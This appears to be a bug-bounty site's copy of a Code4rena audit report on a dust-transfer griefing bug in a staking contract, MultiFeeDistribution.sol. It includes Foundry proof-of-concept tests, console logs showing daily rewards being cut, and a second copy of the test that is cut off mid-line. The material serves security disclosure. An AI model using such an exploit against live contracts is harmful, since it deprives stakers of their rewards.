Directly sending dust token amount will slow down distribution in MultiFeeDistribution.sol
The reward distribution contract recalculates its reward rate whenever its token balance exceeds the recorded balance, so anyone can send a tiny amount of the reward token and then trigger a reward claim to reset the emission period. This lets an attacker repeatedly stretch the vesting schedule and sharply reduce the rewards other users receive per day.
While sending a small amount and calling getReward is a typical example of griefing which is normally considered Medium. Given the low cost of the attack and that no specific external conditions need to be met as well as the high impact for all the users of the protocol I consider it High severity.
Proof of Concept
The _getReward function in MultiFeeDistribution.sol will call _notifyUnseenReward which will execute the following:
If a small amount of token is sent directly to the contract this will mean that the unseen amount will also be very small but greater than 0. This will lead to the execution of:
Reward period starts at with r.balance = 1000 eth and rewardsDuration = 10 days. (For simplicity, the example will be in days not in seconds).
9 days have passed and a user calls getReward so the accumulated reward from the vesting will be 900 eth. However a malicious user decides to send a small reward directly to the protocol. For example, 1 wei and they call get reward again:
r.leftover = 100eth
r.rewardPerSecond = (100eth(leftover)+1wei) / 10 days(rewards duration) = 10 eth a day
r.period finish = now +10 days
As you can see simply by directly sending a small amount, the rewardPerSecond was decreased drastically and the vest is now much longer.
Recommended Mitigation Steps
_notifyUnseenReward should not be in functions without access control for trusted protocol roles, as griefing would always be possible. If you still want the unseen amount to be updated frequently consider value-weighted time additions to the vesting.
I created two tests to show the attack once and multiple times.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {TestBase, console} from "../TestBase.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {WAD} from "../../utils/Math.sol";
import {IVaultRegistry} from "../../interfaces/IVaultRegistry.sol";
import {MultiFeeDistribution} from "../../reward/MultiFeeDistribution.sol";
import {IMultiFeeDistribution} from "../../reward/interfaces/IMultiFeeDistribution.sol";
import {IPriceProvider} from "../../reward/interfaces/IPriceProvider.sol";
import {IChefIncentivesController} from "../../reward/interfaces/IChefIncentivesController.sol";
import {LockedBalance, Balances} from "../../reward/interfaces/LockedBalance.sol";
import {Reward} from "../../reward/interfaces/LockedBalance.sol";
// chefIncentivesController.setEligibilityExempt(user, false);
// chefIncentivesController.afterLockUpdate(user);
contract MockController {
constructor() {}
function setEligibilityExempt(address user, bool info) external view {}
function afterLockUpdate(address user) external view {}
}
contract MockPriceProvider {
constructor() {}
function getRewardTokenPrice(address rewardToken, uint256 reward) external view returns (uint256) {
return 0;
}
function update() external view {}
}
contract MultiFeeDistributionTest is TestBase {
using SafeERC20 for IERC20;
MultiFeeDistribution internal multiFeeDistribution;
ERC20Mock public loopToken;
ERC20Mock public stakeToken;
ERC20Mock public rewardToken;
MockPriceProvider public m;
MockController public controller1;
address internal mockPriceProvider;
address internal mockLockZap;
address internal mockDao;
uint256 public rewardsDuration = 30 days;
uint256 public rewardsLookback = 1 days;
uint256 public lockDuration = 10 days;
uint256 public burnRatio = 50000; // 50%
uint256 public vestDuration = 30 days;
function setUp() public virtual override {
super.setUp();
mockLockZap = vm.addr(uint256(keccak256("lockZap")));
mockDao = vm.addr(uint256(keccak256("dao")));
m = new MockPriceProvider();
controller1 = new MockController();
mockPriceProvider = address(m);
loopToken = new ERC20Mock();
stakeToken = new ERC20Mock();
rewardToken = new ERC20Mock();
multiFeeDistribution = MultiFeeDistribution(
address(
new ERC1967Proxy(
address(new MultiFeeDistribution()),
abi.encodeWithSelector(
MultiFeeDistribution.initialize.selector,
address(loopToken),
mockLockZap,
mockDao,
mockPriceProvider,
rewardsDuration,
rewardsLookback,
lockDuration,
burnRatio,
vestDuration
)
)
)
);
}
function _addLockDurations() internal returns (uint256 len) {
len = 4;
uint256[] memory lockDurations = new uint256[](len);
uint256[] memory rewardMultipliers = new uint256[](len);
lockDurations[0] = 2592000;
lockDurations[1] = 7776000;
lockDurations[2] = 15552000;
lockDurations[3] = 31104000;
rewardMultipliers[0] = 1;
rewardMultipliers[1] = 4;
rewardMultipliers[2] = 10;
rewardMultipliers[3] = 25;
multiFeeDistribution.setLockTypeInfo(lockDurations, rewardMultipliers);
}
function test_exploit_once() public {
uint256 amount = 10 ether;
address alice = vm.addr(uint256(keccak256("Alice")));
address bob = vm.addr(uint256(keccak256("Bob")));
address minter = vm.addr(uint256(keccak256("minter")));
address[] memory minters = new address[](1);
minters[0] = minter;
address[] memory rewards = new address[](1);
rewards[0] = address(rewardToken);
uint256 len = _addLockDurations();
uint256 typeIndex = 0;
stakeToken.mint(alice, amount);
rewardToken.mint(minter, 100 ether); //the reward will be 100 ether
rewardToken.mint(bob, 0.1 ether); //bob will have a very small amount
multiFeeDistribution.setLPToken(address(stakeToken));
address incentivesController = address(controller1);
address treasury = vm.addr(uint256(keccak256("treasury")));
multiFeeDistribution.setAddresses(IChefIncentivesController(incentivesController), treasury);
vm.mockCall(
incentivesController,
abi.encodeWithSelector(IChefIncentivesController.afterLockUpdate.selector, alice),
abi.encode(true)
);
vm.prank(alice);
stakeToken.approve(address(multiFeeDistribution), amount);
vm.prank(alice);
multiFeeDistribution.stake(amount, alice, 1);
multiFeeDistribution.setMinters(minters);
vm.prank(minter);
multiFeeDistribution.addReward(address(rewardToken));
vm.prank(minter);
rewardToken.transfer(address(multiFeeDistribution), 100 ether);
vm.warp(block.timestamp);
vm.prank(alice);
multiFeeDistribution.getReward(rewards);
vm.warp(block.timestamp + 20 days);
vm.prank(alice);
multiFeeDistribution.getReward(rewards);
uint256 balanceBefore = rewardToken.balanceOf(address(alice));
uint256 dailyTokens1 = rewardToken.balanceOf(address(alice)) / 20; // the amount that alice has devided by the 20 days
console.log("daily rewards under normal conditions");
console.log(dailyTokens1); //These are the tokens that alice gets per day - 3.33e18
vm.prank(bob);
rewardToken.transfer(address(multiFeeDistribution), 1); //bob transfers the dust amount
vm.prank(bob);
multiFeeDistribution.getReward(rewards); //calls get reward to update the rate
vm.warp(block.timestamp + 1 days);
vm.prank(alice);
multiFeeDistribution.getReward(rewards);
uint256 dailyTokens2 = rewardToken.balanceOf(address(alice)) - balanceBefore;
balanceBefore = rewardToken.balanceOf(address(alice));
console.log("New daily token rewards:");
console.log(dailyTokens2); //1e18
//at the end bob managed to make it 0.326912783616223995 per day and he can slow it down as much as he wants
//What is more is that alice will have to wait for another 30 days!
console.log("spent by bob on the attack NOT e18");
console.log(0.1 ether - rewardToken.balanceOf(address(bob))); //Bob spent 20(not 0.20e18)
console.log(
"Pending rewards that the user will get after another 30 days instead of two of nobody does the attack again:"
);
console.log(rewardToken.balanceOf(address(multiFeeDistribution))); //the assets that will be distributed for the next 30 days instead of two
}
function test_exploit_multiple_times() public {
uint256 amount = 10 ether;
address alice = vm.addr(uint256(keccak256("Alice")));
address bob = vm.addr(uint256(keccak256("Bob")));
address minter = vm.addr(uint256(keccak256("minter")));
address[] memory minters = new address[](1);
minters[0] = minter;
address[] memory rewards = new address[](1);
rewards[0] = address(rewardToken);
uint256 len = _addLockDurations();
uint256 typeIndex = 0;
stakeToken.mint(alice, amount);
rewardToken.mint(minter, 100 ether); //the reward will be 100 ether
rewardToken.mint(bob, 0.1 ether); //bob will have a very small amount
multiFeeDistribution.setLPToken(address(stakeToken));
address incentivesController = address(controller1);
address treasury = vm.addr(uint256(keccak256("treasury")));
multiFeeDistribution.setAddresses(IChefIncentivesController(incentivesController), treasury);
vm.mockCall(
incentivesController,
abi.encodeWithSelector(IChefIncentivesController.afterLockUpdate.selector, alice),
abi.encode(true)
);
vm.prank(alice);
stakeToken.approve(address(multiFeeDistribution), amount);
vm.prank(alice);
multiFeeDistribution.stake(amount, alice, 1);
multiFeeDistribution.setMinters(minters);
vm.prank(minter);
multiFeeDistribution.addReward(address(rewardToken));
vm.prank(minter);
rewardToken.transfer(address(multiFeeDistribution), 100 ether);
vm.warp(block.timestamp);
vm.prank(alice);
multiFeeDistribution.getReward(rewards);
vm.warp(block.timestamp + 20 days);
vm.prank(alice);
multiFeeDistribution.getReward(rewards);
uint256 balanceBefore = rewardToken.balanceOf(address(alice));
uint256 dailyTokens1 = rewardToken.balanceOf(address(alice)) / 20; // the amount that alice has devided by the 20 days
console.log(dailyTokens1); //These are the tokens that alice gets per day - 3.33e18
for (uint i = 0; i < 20; i++) {
vm.prank(bob);
rewardToken.transfer(address(multiFeeDistribution), 1); //bob transfers the dust amount
vm.prank(bob);
multiFeeDistribution.getReward(rewards); //calls get reward to update the rate
vm.warp(block.timestamp + 1 days);
vm.prank(alice);
multiFeeDistribution.getReward(rewards);
uint256 dailyTokens2 = rewardToken.balanceOf(address(alice)) - balanceBefore;
balanceBefore = rewardToken.balanceOf(address(alice));
console.log("New daily token rewards:");
console.log(dailyTokens2); //1e18
vm.warp(block.timestamp + 3 days); //waits another three days
}
//at the end bob managed to make it 0.326912783616223995 per day and he can slow it down however he wants
//What is more is that alice will have to wait for another 30 days!
console.log(0.1 ether - rewardToken.balanceOf(address(bob))); //Bob spent 20(not 0.20e18)
} // @IMPORTANT Performing the attack once instead of twenty times can result in decreasing the rate
//and the duration will be reset, starting from beginning again!
}
The output is the following:
Results after running the attack once: Logs:
daily rewards under normal conditions
3333333333333333333
New daily token rewards:
1111111111111111111
spent by bob on the attack NOT e18
1
Pending rewards that the user will get after another 30 days instead of two of nobody does the attack again:
32222222222222222224
Results after running the attack 20 times: Logs:
3333333333333333333 - under normal conditions
New daily token rewards:
1111111111111111111
New daily token rewards:
4296296296296296296
New daily token rewards:
3723456790123456790
New daily token rewards:
3226995884773662551
New daily token rewards:
2796729766803840878
New daily token rewards:
2423832464563328760
New daily token rewards:
2100654802621551592
New daily token rewards:
1820567495605344713
New daily token rewards:
1577825162857965418
New daily token rewards:
1367448474476903363
New daily token rewards:
1185122011213316248
New daily token rewards:
1027105743051540748
New daily token rewards:
890158310644668648
New daily token rewards:
771470535892046162
New daily token rewards:
668607797773106673
New daily token rewards:
579460091403359117
New daily token rewards:
502198745882911235
New daily token rewards:
435238913098523070
New daily token rewards:
377207058018719994
New daily token rewards:
326912783616223995
20
The attack can be performed by anyone and allows anyone to extend reward finish time indefinitely and causing loss of funds for the users. So I consider it to be a valid High under the following C4 rule: “3 — High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).”
It also does not require any specific external conditions and can be performed anytime. Also the problem is not the attack itself, as it will happen anytime the contract’s balance has changed. This means that even if it is used “the right way” by the protocol team, they will mess up the whole distribution so basically the whole functionality as-is now is useless.
@Koolex - thank you for running my tests. It seems that I forgot to add the update function in one of the mock contracts (because I commented out the IPriceProvider(_priceProvider).update(); in the original code). Now I fixed the test so it will not fail in the original code. Sorry for the inconvenience.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {TestBase, console} from "../TestBase.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {WAD} from "../../utils/Math.sol";
import {IVaultRegistry} from "../../interfaces/IVaultRegistry.sol";
import {MultiFeeDistribution} from "../../reward/MultiFeeDistribution.sol";
import {IMultiFeeDistribution} from "../../reward/interfaces/IMultiFeeDistribution.sol";
import {IPriceProvider} from "../../reward/interfaces/IPriceProvider.sol";
import {IChefIncentivesController} from "../../reward/interfaces/IChefIncentivesController.sol";
import {LockedBalance, Balances} from "../../reward/interfaces/LockedBalance.sol";
import {Reward} from "../../reward/interfaces/LockedBalance.sol";
// chefIncentivesController.setEligibilityExempt(user, false);
// chefIncentivesController.afterLockUpdate(user);
contract MockController {
constructor() {}
function setEligibilityExempt(address user, bool info) external view {}
function afterLockUpdate(address user) external view {}
}
contract MockPriceProvider {
constructor() {}
function getRewardTokenPrice(address rewardToken, uint256 reward) external view returns (uint256) {
return 0;
}
function update() external view {}
}
contract MultiFeeDistributionTest is TestBase {
using SafeERC20 for IERC20;
MultiFeeDistribution internal multiFeeDistribution;
ERC20Mock public loopToken;
ERC20Mock public stakeToken;
ERC20Mock public rewardToken;
MockPriceProvider public m;
MockController public controller1;
address internal mockPriceProvider;
address internal mockLockZap;
address internal mockDao;
uint256 public rewardsDuration = 30 days;
uint256 public rewardsLookback = 1 days;
uint256 public lockDuration = 10 days;
uint256 public burnRatio = 50000; // 50%
uint256 public vestDuration = 30 days;
function setUp() public virtual override {
super.setUp();
mockLockZap = vm.addr(uint256(keccak256("lockZap")));
mockDao = vm.addr(uint256(keccak256("dao")));
m = new MockPriceProvider();
controller1 = new MockController();
mockPriceProvider = address(m);
loopToken = new ERC20Mock();
stakeToken = new ERC20Mock();
rewardToken = new ERC20Mock();
multiFeeDistribution = MultiFeeDistribution(
address(
new ERC1967Proxy(
address(new MultiFeeDistribution()),
abi.encodeWithSelector(
MultiFeeDistribution.initialize.selector,
address(loopToken),
mockLockZap,
mockDao,
mockPriceProvider,
rewardsDuration,
rewardsLookback,
lockDuration,
burnRatio,
vestDuration
)
)
)
);
}
function _addLockDurations() internal returns (uint256 len) {
len = 4;
uint256[] memory lockDurations = new uint256[](len);
uint256[] memory rewardMultipliers = new uint256[](len);
lockDurations[0] = 2592000;
lockDurations[1] = 7776000;
lockDurations[2] = 15552000;
lockDurations[3] = 31104000;
rewardMultipliers[0] = 1;
rewardMultipliers[1] = 4;
rewardMultipliers[2] = 10;
rewardMultipliers[3] = 25;
multiFeeDistribution.setLockTypeInfo(lockDurations, rewardMultipliers);
}
function test_exploit_once() public {
uint256 amount = 10 ether;
address alice = vm.addr(uint256(keccak256("Alice")));
address bob = vm.addr(uint256(keccak256("Bob")));
address minter = vm.addr(uint256(kecc
The original report as published on Code4rena, by novamanbg. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 40 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
Likely the reward-notification logic treats any positive difference between the contract's token balance and its recorded balance as a fresh reward, and it is reachable from an unprivileged reward-claim function, so a dust transfer resets the emission rate and period.
Impact
An attacker can repeatedly extend the reward finish time and cut other users' daily rewards, causing loss of funds for users; the judge reduced severity to Medium and asked for a coded proof of concept.
What the attacker needed
No special role needed; attacker holds a tiny amount of reward token; victim has staked funds
How it was found
A user stakes tokens and a minter funds the contract with a reward amount, starting the reward period.
After some days pass, a user claims rewards, leaving a leftover amount and a reduced rate.
An attacker sends a tiny amount of the reward token directly to the contract.
The attacker calls the reward-claim function, which detects the unseen balance and recalculates the rate and period finish.
The victim's daily rewards drop and the vesting period is extended.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 40 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
A staking contract pays out rewards gradually over a set period. It notices extra tokens arriving by comparing its real balance with a stored figure, and treats any difference as a new reward to spread out. Because anyone can send tokens to a contract, an attacker can send a tiny amount and force the payout rate to be recalculated, which restarts the payout period and slows everyone's earnings.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.